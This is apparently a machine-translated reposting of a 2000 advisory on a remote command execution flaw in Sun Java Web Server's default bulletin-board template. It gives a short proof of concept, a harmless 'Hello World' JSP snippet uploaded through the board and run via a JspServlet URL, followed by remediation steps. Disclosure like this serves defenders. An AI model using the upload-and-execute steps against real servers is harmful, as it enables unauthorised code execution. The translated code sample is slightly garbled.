Remote executable command vulnerability in Sun Java Web Server
Vulnerability release Time: 2000-7-13 17:41:00
Leakage description:
Under the default installation settings of Sun Java Web Server on Solaris and Windows NT. Attackers can remotely execute arbitrary commands by exploiting vulnerabilities in the template program of the bulletin board version.
The vulnerability test method is as follows:
The following example shows how to upload and execute the code, while "Hello World" is displayed on the server ".
Enter the following JSP code to print "Hello World ":
<% String s = "Hello World"; %>
<% = S %>
Use the following announcement to connect to the Post code:
Http://jws.site/examples/applications/bboard/bboard_frames.html
Check whether the code is uploaded:
Http://jws.site/board.html
Compile and execute the code by executing the following connection:
Http://jws.site/servlet/com.sun.server.http.pagecompile.jsp.runtime.JspServlet/board.html
Solution method:
Follow the instructions in "How to secure a Web site that uses the Java web Server" in the Java Web Server Manual, or refer to the following link:
Http://www.sun.com/software/jwebserver/faq/jwsca-2000-02.html
Or simply remove these template files installed by default.
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.